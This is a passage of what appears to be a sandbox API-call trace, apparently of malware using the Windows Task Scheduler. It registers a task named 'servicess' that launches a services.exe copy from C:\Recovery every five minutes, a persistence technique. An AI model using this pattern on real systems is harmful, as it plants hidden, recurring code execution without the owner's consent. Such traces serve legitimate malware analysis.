uID=0x1d7, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0148.477] lstrlenW (lpString="First") returned 5 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d5a0 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ccd0 [0148.477] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.477] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0148.477] lstrlenW (lpString="Second") returned 6 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d5c0 [0148.477] GetProcessHeap () returned 0x370000 [0148.477] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cca0 [0148.477] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.477] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0148.477] lstrlenW (lpString="Third") returned 5 [0148.477] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d5e0 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc70 [0148.478] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.478] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0148.478] lstrlenW (lpString="Fourth") returned 6 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d600 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc40 [0148.478] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.478] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0148.478] lstrlenW (lpString="Last") returned 4 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa) returned 0x38d620 [0148.478] lstrlenW (lpString="5") returned 1 [0148.478] _wtol (_String="5") returned 5 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc10 [0148.478] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.478] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0148.478] lstrlenW (lpString="First") returned 5 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38d640 [0148.478] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.478] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0148.478] lstrlenW (lpString="Second") returned 6 [0148.478] GetProcessHeap () returned 0x370000 [0148.478] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38d660 [0148.479] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.479] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0148.479] lstrlenW (lpString="Third") returned 5 [0148.479] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.479] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0148.479] lstrlenW (lpString="Fourth") returned 6 [0148.479] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.479] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0148.479] lstrlenW (lpString="Last") returned 4 [0148.479] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c220, cchData=128 | out: lpLCData="0") returned 2 [0148.479] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.479] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0148.479] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0148.479] GetProcessHeap () returned 0x370000 [0148.479] GetProcessHeap () returned 0x370000 [0148.479] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5a0) returned 1 [0148.479] GetProcessHeap () returned 0x370000 [0148.479] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5a0) returned 0xc [0148.479] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5a0 | out: hHeap=0x370000) returned 1 [0148.479] GetProcessHeap () returned 0x370000 [0148.479] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d5a0 [0148.479] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c240, cchData=128 | out: lpLCData="0") returned 2 [0148.479] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.479] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0148.480] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0148.480] GetProcessHeap () returned 0x370000 [0148.480] GetProcessHeap () returned 0x370000 [0148.480] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5c0) returned 1 [0148.480] GetProcessHeap () returned 0x370000 [0148.480] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5c0) returned 0xe [0148.480] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5c0 | out: hHeap=0x370000) returned 1 [0148.480] GetProcessHeap () returned 0x370000 [0148.480] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x16) returned 0x38d5c0 [0148.480] GetLocalTime (in: lpSystemTime=0x21c470 | out: lpSystemTime=0x21c470*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x9, wMilliseconds=0x2cd)) [0148.480] lstrlenW (lpString="") returned 0 [0148.480] GetLocalTime (in: lpSystemTime=0x21cd28 | out: lpSystemTime=0x21cd28*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x9, wMilliseconds=0x2cd)) [0148.480] lstrlenW (lpString="") returned 0 [0148.480] lstrlenW (lpString="") returned 0 [0148.480] lstrlenW (lpString="") returned 0 [0148.480] lstrlenW (lpString="") returned 0 [0148.480] lstrlenW (lpString="5") returned 1 [0148.480] _wtol (_String="5") returned 5 [0148.480] lstrlenW (lpString="") returned 0 [0148.480] lstrlenW (lpString="") returned 0 [0148.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0148.502] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0148.558] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21caf0 | out: ppv=0x21caf0*=0x657aa0) returned 0x0 [0148.568] TaskScheduler:ITaskService:Connect (This=0x657aa0, serverName=0x21cbd0*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21cb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21cbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0148.579] TaskScheduler:IUnknown:AddRef (This=0x657aa0) returned 0x2 [0148.579] TaskScheduler:ITaskService:GetFolder (in: This=0x657aa0, Path=0x0, ppFolder=0x21cc88 | out: ppFolder=0x21cc88*=0x657cd0) returned 0x0 [0148.583] TaskScheduler:ITaskService:NewTask (in: This=0x657aa0, flags=0x0, ppDefinition=0x21cc80 | out: ppDefinition=0x21cc80*=0x657d20) returned 0x0 [0148.583] ITaskDefinition:get_Actions (in: This=0x657d20, ppActions=0x21cc00 | out: ppActions=0x21cc00*=0x657de0) returned 0x0 [0148.583] IActionCollection:Create (in: This=0x657de0, Type=0, ppAction=0x21cc20 | out: ppAction=0x21cc20*=0x656170) returned 0x0 [0148.583] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.583] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0148.583] lstrlenW (lpString=" ") returned 1 [0148.584] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.584] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0148.585] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0148.586] IUnknown:Release (This=0x656170) returned 0x1 [0148.586] IUnknown:Release (This=0x657de0) returned 0x1 [0148.586] ITaskDefinition:get_Triggers (in: This=0x657d20, ppTriggers=0x21c780 | out: ppTriggers=0x21c780*=0x657f20) returned 0x0 [0148.586] ITriggerCollection:Create (in: This=0x657f20, Type=1, ppTrigger=0x21c778 | out: ppTrigger=0x21c778*=0x6561e0) returned 0x0 [0148.586] lstrlenW (lpString="5") returned 1 [0148.586] _vsnwprintf (in: _Buffer=0x21c700, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x21c6f8 | out: _Buffer="PT5M") returned 4 [0148.586] ITrigger:get_Repetition (in: This=0x6561e0, ppRepeat=0x21c770 | out: ppRepeat=0x21c770*=0x656270) returned 0x0 [0148.586] IRepetitionPattern:put_Interval (This=0x656270, Interval="PT5M") returned 0x0 [0148.586] IUnknown:Release (This=0x656270) returned 0x1 [0148.586] _vsnwprintf (in: _Buffer=0x21c6c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21c698 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0148.586] ITrigger:put_StartBoundary (This=0x6561e0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0148.586] lstrlenW (lpString="") returned 0 [0148.587] lstrlenW (lpString="") returned 0 [0148.587] lstrlenW (lpString="") returned 0 [0148.587] lstrlenW (lpString="") returned 0 [0148.587] IUnknown:Release (This=0x6561e0) returned 0x1 [0148.587] IUnknown:Release (This=0x657f20) returned 0x1 [0148.587] ITaskDefinition:get_Settings (in: This=0x657d20, ppSettings=0x21cc20 | out: ppSettings=0x21cc20*=0x655f50) returned 0x0 [0148.587] lstrlenW (lpString="") returned 0 [0148.587] IUnknown:Release (This=0x655f50) returned 0x1 [0148.587] GetLocalTime (in: lpSystemTime=0x21cad8 | out: lpSystemTime=0x21cad8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x9, wMilliseconds=0x33a)) [0148.587] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0148.587] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0148.588] GetUserNameW (in: lpBuffer=0x21cb00, pcbBuffer=0x21cae8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21cae8) returned 1 [0148.589] ITaskDefinition:get_RegistrationInfo (in: This=0x657d20, ppRegistrationInfo=0x21cad0 | out: ppRegistrationInfo=0x21cad0*=0x657e60) returned 0x0 [0148.589] IRegistrationInfo:put_Author (This=0x657e60, Author="") returned 0x0 [0148.589] _vsnwprintf (in: _Buffer=0x21cb00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21ca98 | out: _Buffer="2022-08-06T02:19:09") returned 19 [0148.589] IRegistrationInfo:put_Date (This=0x657e60, Date="") returned 0x0 [0148.589] IUnknown:Release (This=0x657e60) returned 0x1 [0148.589] malloc (_Size=0x18) returned 0x657fb0 [0148.590] free (_Block=0x657fb0) [0148.590] lstrlenW (lpString="") returned 0 [0148.590] malloc (_Size=0x18) returned 0x657fb0 [0148.590] ITaskFolder:RegisterTaskDefinition (in: This=0x657cd0, Path="servicess", pDefinition=0x657d20, flags=6, UserId=0x21cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21ec80, varVal2=0xfe), LogonType=3, sddl=0x21cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21cc90 | out: ppTask=0x21cc90*=0x656410) returned 0x0 [0149.064] free (_Block=0x657fb0) [0149.064] _memicmp (_Buf1=0x38bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.064] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x38d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0149.064] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0149.064] GetProcessHeap () returned 0x370000 [0149.064] GetProcessHeap () returned 0x370000 [0149.064] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5e0) returned 1 [0149.064] GetProcessHeap () returned 0x370000 [0149.064] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5e0) returned 0xc [0149.064] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5e0 | out: hHeap=0x370000) returned 1 [0149.064] GetProcessHeap () returned 0x370000 [0149.064] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x82) returned 0x3a9c40 [0149.064] _vsnwprintf (in: _Buffer=0x21d3d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21cc38 | out: _Buffer="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0149.064] _fileno (_File=0x7fefed02ab0) returned -2 [0149.064] _errno () returned 0x654bb0 [0149.064] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0149.064] SetLastError (dwErrCode=0x6) [0149.064] lstrlenW (lpString="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0149.064] GetConsoleOutputCP () returned 0x0 [0149.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0149.065] GetConsoleOutputCP () returned 0x0 [0149.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0149.065] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0149.065] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0149.065] IUnknown:Release (This=0x656410) returned 0x0 [0149.065] TaskScheduler:IUnknown:Release (This=0x657d20) returned 0x0 [0149.065] TaskScheduler:IUnknown:Release (This=0x657cd0) returned 0x0 [0149.065] TaskScheduler:IUnknown:Release (This=0x657aa0) returned 0x1 [0149.065] lstrlenW (lpString="") returned 0 [0149.065] lstrlenW (lpString="5") returned 1 [0149.065] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0149.065] GetProcessHeap () returned 0x370000 [0149.065] GetProcessHeap () returned 0x370000 [0149.065] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c390) returned 1 [0149.065] GetProcessHeap () returned 0x370000 [0149.065] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c390) returned 0x1fc [0149.066] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c390 | out: hHeap=0x370000) returned 1 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9d0) returned 1 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b9d0) returned 0x4 [0149.066] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9d0 | out: hHeap=0x370000) returned 1 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d540) returned 1 [0149.066] GetProcessHeap () returned 0x370000 [0149.066] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d540) returned 0x16 [0149.066] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d540 | out: hHeap=0x370000) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d520) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d520) returned 0x18 [0149.067] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d520 | out: hHeap=0x370000) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd90) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd90) returned 0x20 [0149.067] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd90 | out: hHeap=0x370000) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c030) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c030) returned 0xa0 [0149.067] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c030 | out: hHeap=0x370000) returned 1 [0149.067] GetProcessHeap () returned 0x370000 [0149.067] GetProcessHeap () returned 0x370000 [0149.068] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bab0) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bab0) returned 0x18 [0149.068] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bab0 | out: hHeap=0x370000) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb50) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cb50) returned 0x20 [0149.068] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb50 | out: hHeap=0x370000) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c290) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.068] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c290) returned 0x80 [0149.068] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c290 | out: hHeap=0x370000) returned 1 [0149.068] GetProcessHeap () returned 0x370000 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d560) returned 1 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d560) returned 0x18 [0149.069] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d560 | out: hHeap=0x370000) returned 1 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb20) returned 1 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cb20) returned 0x20 [0149.069] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb20 | out: hHeap=0x370000) returned 1 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38dcd0) returned 1 [0149.069] GetProcessHeap () returned 0x370000 [0149.069] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38dcd0) returned 0x82 [0149.070] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38dcd0 | out: hHeap=0x370000) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d500) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d500) returned 0x18 [0149.070] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d500 | out: hHeap=0x370000) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38caf0) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38caf0) returned 0x20 [0149.070] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38caf0 | out: hHeap=0x370000) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c370) returned 1 [0149.070] GetProcessHeap () returned 0x370000 [0149.070] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c370) returned 0xe [0149.071] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c370 | out: hHeap=0x370000) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] GetProcessHeap () returned 0x370000 